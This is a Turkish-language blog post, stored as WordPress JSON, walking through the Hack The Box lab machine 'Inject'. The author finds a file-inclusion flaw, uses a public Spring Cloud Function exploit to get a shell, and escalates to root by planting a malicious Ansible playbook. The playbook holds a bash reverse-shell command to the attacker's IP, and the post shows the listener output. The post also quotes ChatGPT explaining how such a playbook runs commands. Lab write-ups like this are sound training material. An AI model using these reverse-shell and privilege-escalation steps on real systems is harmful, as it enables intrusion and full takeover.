{"id":2145,"date":"2023-07-16T21:05:01","date_gmt":"2023-07-16T21:05:01","guid":{"rendered":"https:\/\/berenkudaygorun.com\/blog\/?p=2145"},"modified":"2023-07-27T22:54:45","modified_gmt":"2023-07-27T22:54:45","slug":"inject","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2023\/07\/16\/inject\/","title":{"rendered":"Inject"},"content":{"rendered":"
\n

Sen af yolunu tut; iyili\u011fi emret ve cahillerden y\u00fcz \u00e7evir!
\nAraf 199<\/p>\n<\/blockquote>\n\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Inject<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 sonucunda 22 ve 8080 portlar\u0131 a\u00e7\u0131kt\u0131.<\/p>\n

PORT     STATE SERVICE     VERSION                         \n22\/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                               \n| ssh-hostkey:                                                                                                        \n|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)            \n|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)           \n|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)                                                                    \n8080\/tcp open  nagios-nsca Nagios NSCA                                                                                                                                                                                                      \n|_http-title: Home                                                                                                                                                                                                                          \nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel      <\/code><\/pre>\n
Daha sonras\u0131nda nikto, gobuster ile 8080'e bakt\u0131m ve bir fileupload sayfas\u0131 buldum. Bu sayfada \u00e7e\u015fitli testler ge\u00e7rkle\u015ftirdikten sonra LFI zafiyeti tespit ettim.<\/p>\n
\"\"
\n\"\"<\/p>\n
LFI 2 RCE i\u015flemleri denedim ancak ba\u015far\u0131l\u0131 olamad\u0131m. Log poising i\u015fe yaramad\u0131, sistemi php oldu\u011fundan ku\u015fkuluydum ancak yine de denedim, ba\u015far\u0131l\u0131 olamad\u0131m. Daha sonras\u0131nda LFI'da normalde al\u0131\u015f\u0131k olmad\u0131\u011f\u0131m bir \u015fey g\u00f6rd\u00fcm direkt dosya ad\u0131 belirtmedi\u011fimde dizinde ls<\/code> i\u015flemi yapt\u0131\u011f\u0131n\u0131 g\u00f6rd\u00fcm. Bunun \u00fczerinde dizinler aras\u0131nda gezinmeye ba\u015flad\u0131m. <\/p>\n
Projenin bir spring projesi oldu\u011funu anlad\u0131m akl\u0131ma ilk seferde log4j geldi ancak denemelerimi yapmadan \u00f6nce proje ba\u011f\u0131ml\u0131l\u0131klar\u0131n\u0131 kontrol etmek istedim. Teker teker buradaki s\u00fcr\u00fcmleri ve mod\u00fclleri incelerken ba\u015fka bir zafiyet tespit ettim.<\/p>\n
\"\"<\/p>\n
Bu arada testler esnas\u0131nda fark etti\u011fim bir konu oldu. Belili aral\u0131klarla dosya y\u00fckledi\u011fimiz sayfadaki fosyalar siliniyordu arkaplanda belirli zaman aral\u0131klar\u0131nda \u00e7al\u0131\u015fan bir script olmal\u0131 belki hak y\u00fckseltme esnas\u0131nda i\u015fime yarayabilir.<\/p>\n
\"\"<\/p>\n
\u0130nternette aratt\u0131\u011f\u0131mda https:\/\/github.com\/randallbanner\/Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE<\/a> projesini buldum.<\/p>\n
\"\"<\/p>\n
Dosyay\u0131 indirip, python dosyas\u0131ndaki ip adreslerini de\u011fi\u015ftirdi\u011fimde shell alabilidim.<\/p>\n
\"\"<\/p>\n
Do\u011frusunu s\u00f6ylemek gerekirse spring framework'\u00fc ile professyonel bir \u015fekilde \u00e7al\u0131\u015fmad\u0131\u011f\u0131mdan dolay\u0131 zafiyetin ayr\u0131nt\u0131lar\u0131na bakmad\u0131m. Kendime bir s\u00fcre s\u0131n\u0131r\u0131 koydu\u011fum i\u00e7in de devam ettim. Ba\u015fka bir yaz\u0131da payla\u015fmak i\u00e7in notlar\u0131ma ekledim.<\/p>\n
user.flag dosyas\u0131n\u0131 okumak istedi\u011fimde permition hatas\u0131 al\u0131yordum. Bunun \u00fczerine phil<\/em><\/strong> kullan\u0131c\u0131s\u0131 olmam gerekti\u011fini anlad\u0131m. Daha \u00f6ncesinde LFI \u0130le dosyalar\u0131 incelerken home klas\u00f6t\u00fc alt\u0131nda a\u015fa\u011f\u0131daki dosyay\u0131 bulmu\u015ftum ssh denemelerimde i\u015fe yaramam\u0131\u015ft\u0131 ancak su<\/em><\/strong> komutunda i\u015fe yarad\u0131.<\/p>\n
\"\"
\n\"\"<\/p>\n
Flag:09ae3062deef2a25fa1af68e0731c1f7<\/p>\n
Arkaplanda neler oldu\u011funu anlamak \u00e7in pspy64'i indirdim ve monitor ettim. Monitor etti\u011fimde bir python dosyas\u0131n\u0131n bir yml dosyas\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131n\u0131 g\u00f6rd\u00fcm ve chatgpt ile \u00e7e\u015fitli ara\u015ft\u0131rmalar yapt\u0131m.<\/p>\n
\u0130\u015fte pspy4 \u00e7\u0131kt\u0131s\u0131:<\/p>\n
\n2023\/07\/17 16:16:02 CMD: UID=0     PID=66658  | \n2023\/07\/17 16:16:02 CMD: UID=0     PID=66660  | \/usr\/bin\/python3 \/usr\/bin\/ansible-playbook \/opt\/automation\/tasks\/playbook_1.yml \n2023\/07\/17 16:16:02 CMD: UID=0     PID=66661  | \/usr\/bin\/python3 \/usr\/bin\/ansible-playbook \/opt\/automation\/tasks\/playbook_1.yml \n<\/code><\/pre>\n
\u0130lgili path'e yazabildi\u011fimi fark ettim:<\/p>\n
f\n$ cd \/opt\/automation\/tasks\/              \n$ pwd\n\/opt\/automation\/tasks\n$ ls\nplaybook_1.yml\n$ cat *\n- hosts: localhost\n  tasks:\n  - name: Checking webapp service\n    ansible.builtin.systemd:\n      name: webapp\n      enabled: yes\n      state: started\n$ ls -al\ntotal 12\ndrwxrwxr-x 2 root staff 4096 Jul 17 16:18 .\ndrwxr-xr-x 3 root root  4096 Oct 20  2022 ..\n-rw-r--r-- 1 root root   150 Jul 17 16:18 playbook_1.yml<\/code><\/pre>\n
Chatgpt'ye sordu\u011fumda bu yml dosyas\u0131 ile asl\u0131nda ilgili servisi yeniden ba\u015flatt\u0131\u011f\u0131n\u0131n bilgisini bana verdi. Bende ilk kendim bir yeni servis olu\u015fturmay\u0131 denedim ancak iznim olmad\u0131\u011f\u0131 i\u00e7in yapamad\u0131m. Daha sonras\u0131nda konfig dosayas\u0131 \u00fczerinden script \u00e7al\u0131\u015ft\u0131rabili miyim diye sordu\u011fumda chatgpt bana yapabilirsin dedi. \u0130\u015fte chatgpt'nin cevab\u0131:<\/p>\n
\n
Evet, belirtti\u011finiz playbook dosyas\u0131nda, ansible.builtin.systemd<\/code> mod\u00fcl\u00fcn\u00fc kullanarak komut \u00e7al\u0131\u015ft\u0131rabilecek \u015fekilde yap\u0131land\u0131rma yapabilirsiniz. \u0130lgili g\u00f6revde name<\/code> parametresi webapp<\/code> olarak belirtilmi\u015ftir ve state<\/code> parametresi started<\/code> olarak ayarlanm\u0131\u015ft\u0131r. Bu, webapp<\/code> adl\u0131 bir systemd servisinin ba\u015flat\u0131lmas\u0131n\u0131 sa\u011flar.<\/p>\n
E\u011fer belirli bir komutu \u00e7al\u0131\u015ft\u0131rmak istiyorsan\u0131z, ansible.builtin.command<\/code> mod\u00fcl\u00fcn\u00fc kullanarak a\u015fa\u011f\u0131daki gibi bir yap\u0131land\u0131rma yapabilirsiniz:<\/p>\n
\n
- hosts: localhost\n  tasks:\n  - name: Run custom command\n    ansible.builtin.command:\n      cmd: \/path\/to\/your\/command<\/code><\/pre>\n
\n
Bu \u00f6rnekte, \/path\/to\/your\/command<\/code> yerine \u00e7al\u0131\u015ft\u0131rmak istedi\u011finiz komutun tam yolunu belirtmelisiniz. Bu g\u00f6rev playbook'u \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda, belirtilen komut \u00e7al\u0131\u015ft\u0131r\u0131lacak ve sonu\u00e7lar\u0131 d\u00f6nd\u00fcr\u00fclecektir.<\/p>\n
Playbook dosyan\u0131z\u0131 bu \u015fekilde d\u00fczenleyerek, istedi\u011finiz komutlar\u0131 \u00e7al\u0131\u015ft\u0131rabilir ve i\u015flemleri otomatikle\u015ftirebilirsiniz.<\/p>\n
\n
Bunun \u00fczerine a\u015fa\u011f\u0131daki i\u015flemleri yapt\u0131m ve dinleyicimi a\u00e7\u0131p bekeldim:<\/p>\n
- hosts: localhost\n  tasks:\n  - name: Run custom command\n    ansible.builtin.command:\n      cmd: bash -c 'bash -i >& \/dev\/tcp\/10.10.14.68\/4444 0>&1'<\/code><\/pre>\n
\u250c\u2500\u2500(root\u327fARCELIK-RED-TEAM)-[~]\n\u2514\u2500# nc -lvp 4444           \nlistening on [any] 4444 ...\n10.10.11.204: inverse host lookup failed: Unknown host\nconnect to [10.10.14.68] from (UNKNOWN) [10.10.11.204] 39486\nbash: cannot set terminal process group (68167): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@inject:\/opt\/automation\/tasks# id\nidcd \nuid=0(root) gid=0(root) groups=0(root)\nroot@inject:\/opt\/automation\/tasks# \/root\ncd \/root\nroot@inject:~# ls\nls\nplaybook_1.yml\nroot.txt\nroot@inject:~# cat root.txt\ncat root.txt\n2eaf1f8d136b8caa32ba447fcf78b625<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Sen af yolunu tut; iyili\u011fi emret ve cahillerden y\u00fcz \u00e7evir! Araf 199 Makine Ad\u0131 Seviye OS Logo Inject – HTB Kolay Linux Walkthrough nmap taramas\u0131…<\/p>\n
Devam\u0131n\u0131 okuInject<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[690],"class_list":["post-2145","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-spring","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=2145"}],"version-history":[{"count":4,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2145\/revisions"}],"predecessor-version":[{"id":2162,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2145\/revisions\/2162"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=2145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=2145"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=2145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}